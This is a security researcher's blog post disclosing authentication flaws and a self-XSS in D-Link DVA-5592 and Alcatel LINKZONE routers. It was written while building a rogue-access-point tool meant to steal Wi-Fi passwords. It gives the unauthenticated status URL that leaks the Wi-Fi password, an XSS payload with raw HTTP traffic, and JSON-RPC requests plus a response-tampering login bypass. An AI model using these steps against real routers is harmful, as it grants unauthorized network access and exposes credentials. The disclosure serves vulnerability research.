D-Link DVA-5592 missing authentication check [CVE-2019-6968] D-Link DVA-5592 Self XSS [CVE-2019-6968] Alcatel LINKZONE no authentication control whatsoever [CVE-2019-7163]

DISCLAIMER: The author is not responsible for the misuse of the information contained in this post.

This is a long-overdue post describing some vulnerabilities that I found while working on project Dribble. Let me start by giving a very brief context so that you’ll be able to follow this post without needing to know all the details of Dribble. The basic idea behind Dribble is to cache JavaScript code in the victim’s browser while connected to a rouge access point. When the victim gets home, the cached JavaScript code will try to access the victim’s router in order to retrieve the Wi-Fi password. Dribble thus brute-forces the login page of the web interface of the victim’s router. In order to implement the brute-forcer, I had to investigate the login process of the routers I had at my disposal. At first, I had access only to my personal router, the D-Link DVA-5592, than I could also get my hands on the Alcatel Linkzone MW40-V-V1.0 which was given to me by my ISP along with a SIM card. Incredibly enough, both routers present some kind of authentication bypass thus not properly verifying that the user is logged in before providing sensitive information such as the Wi-Fi password. Let’s get into it.

[CVE-2019-6969] D-Link DVA-5592 Missing authentication control

The Dlink DVA-5592 shows a status page right after logging in. This page contains, as shown below, sensitive information such as the password of the Wi-Fi.

The URL for the status page is http://192.168.X.X/ui/status/ and if one tries to access it without being logged in, they are redirected to the login form.
The login page, as you might have noticed, has a language button in the up-right corner that, surprise surprive, is used to change the language of the interface. Changing the language causes a request been performed to the following URL: http://192.168.X.X/ui/status/content?lang=YY
See the content path right after status?
The response obtained from requesting that URL contains, not only the translated text for the language selected, but also the sensitive information I carefully redacted in the screenshot above. Whenever I see the possibility of accessing the same information from different paths, I automatically check if these paths properly verify that the request is coming from an authenticated user.
Since I’m bringing this up, it turns out that if you request http://192.168.X.X/ui/status/content, the router’s web interface does not check the session cookie, meaning that Dribble, or anybody else connected to the router, does not even need to brute-force the login page to have access to the Wi-Fi password.

via GIPHY

This is particularly interesting not only for Dribble, but also in a scenario where the DVA-5592 is configured to have a guest Wi-Fi network with hosts isolation enabled. Users connected to the guest Wi-Fi can easly retrieve the password for the “main” Wi-Fi network and have unauthorized access to it.

[CVE-2019-6968] D-Link DVA-5592 Self Reflected Cross-Site Scripting

Nothing really special here. While playing with the D-Link DVA-5592 I tought about messing aroud a little with some parameters to see if I could find something else. It turns out that some parameters are vulnerable to Reflected Cross-Site Scripting. It also turns out that there’s a parameter called action__key which acts as a Cross-Site Request Forgery token which makes the Reflected Cross-Site Scripting to fall into the “Self” category. The issue is spread thruought the all web interface and gets triggered whenever an input generates an error and the same input is reflected in the same form along with the error message.

Here I show an example of the vulnerability in the page used to creare a new user for accessing a shared folder. If the username is something like a"><script>alert('xss');</script>, the web interface generates an error and reflects back the value of the username back in the input form.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /ui/dboard/storage/storageusers/addstorageusers HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/ui/dboard/storage/storageusers/addstorageusers
Content-Type: application/x-www-form-urlencoded
Content-Length: 157
Connection: close
Cookie: sid=8838526573981467247
Upgrade-Insecure-Requests: 1

enable=true&username=az%5C&password=a%22%3E%3Cscript%3Ealert%28%27xss%27%29%3B%3C%2Fscript%3E&passwordShow=on&action__key=1587374836_1442851124&apply=Applica

The response being the following where you can see the payload being reflected.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
HTTP/1.1 200 OK
Date: Thu, 24 Jan 2019 11:19:25 UTC
Server: HTTP Server
X-Frame-Options: DENY
Connection: close
Content-Language: en
Content-Type: text/html
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Length: 6829


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
[...]
<title>Residential Gateway - D-Link</title>


[...]
<div class="formField" id="password">
<label for="password">Password:</label>
<div class="passwordField">

<input type="password" autocomplete="off" name="password" value="a"><script>alert('xss');</script>" autocomplete='off'/>
<span class='text' style='visibility:hidden'><input type='checkbox' name='passwordShow' tabindex='-1'/> mostra password</span>
<script>
fieldPassword('password', 'passwordShow', 1, 0);
</script>

</div>
</div>
<div class="formField">
<label>Seleziona Gruppi:</label>
<span class='texterror'>Groups not configured</span>
</div>

</fieldset>

<div class="buttons">
[...]

Which ultimately shows the canonical alert box.

via GIPHY

[CVE-2019-7163] Alcatel LINKZONE MW40-V-V1.0 authentication control so much not implemented

This issue was the one that made me chuckle, a complete authentication bypass of the web interface of the Alcatel LINKZONE MW40-V-V1.0. Just a quick recap: I was looking into the login process of the Alcatel LINKZONE MW40-V-V1.0 to implement a brute-forcer to include in Dribble. First of, the web interface of the Alcatel LINKZONE MW40-V-V1.0, by default, is not password protected.

via GIPHY

This already makes live easy for the general use case of Dribble but, of course, I wanted to make sure that the whole thing could work also when the user had setup a password. Once you start to analyze the HTTP traffic, you soon learn that the front-end uses the JSON-RPC standard to communicate with the back-end. The whole front-end is downloaded the first time you visit the web interface and after that, all the info related to the status of the router are retrieved with specifically crafted JSON-RPC calls. All I needed, was to find the request that accessed the Wi-Fi password, and soon enough I found it to be this one:

1
2
3
4
5
6
7
8
9
10
11
12
POST http://192.168.1.1/jrd/webapi HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: http://192.168.1.1/index.html
_TclRequestVerificationToken: bf16bgno22;1Y[QZ
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 65
Connection: keep-alive
Host: 192.168.1.1

{"jsonrpc":"2.0","method":"GetWlanSettings","params":{},"id":"1"}

Nice, the value for _TclRequestVeerificationToken seems to be some sort of verification token, so now what I need is to find out how that token is generated.
However, before I could even start looking into it, another request caught my attention:

1
2
3
4
5
6
7
8
9
10
11
12
POST http://192.168.1.1/jrd/webapi HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: http://192.168.1.1/index.html
_TclRequestVerificationToken: bf16bgno22;1Y[QZ
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 63
Connection: keep-alive
Host: 192.168.1.1

{"jsonrpc":"2.0","method":"GetLoginState","params":{},"id":"1"}

This request is generated whenever I want to perform any other action. It contains the _TclRequestVerificationToken even tough I’m not logged in, weird. Moreover, that GetLoginState seems interesting, and the response contains even more interesting stuff.

1
2
3
4
5
6
7
HTTP/1.1 200 OK
Content-Type: application/json
X-Frame-Options: SAMEORIGIN
x-xss-protection: 1; mode=block
Content-Length: 109

{ "jsonrpc": "2.0", "result": { "State": 0, "LoginRemainingTimes": 3, "LockedRemainingTime": 0 }, "id": "1" }

You are telling me that the front-end is asking GetLoginState, the request already contains the value for _TclRequestVerificationToken without being logged in, and the back-end is answering with "State": 0

via GIPHY

Turns out that … well, the front-end is simply “blocking” what are suppose to be unauthenticated users from viewing the content of the web interface. All one needs to do is intercepting the response to the GetLoginState request and change the value of State from 0 to 1 and boom … you are now logged in.

Wrapping up

While looking for ways to easly get the Wi-Fi password from the only two routers I have constant access to, I managed to discover that both of them do not correctly implement authentication schema. For the D-Link DVA-5592 this is “limited” to a status page which incidentaly contains the password of the Wi-Fi in clear text. For the Alcatel LINKZONE MW40-V-V1, on the other hand, the lack of proper authentication results in a complete takeover of the web interface.

I am very happy I finally managed to find the time to implement and play aroud with Dribble, not only because it was in my TODO list for a very long time and I could finally scratch it off, but also because working on it resulted in some collateral findings, which I believe to be a very satisfying way to discover something new.

mischief managed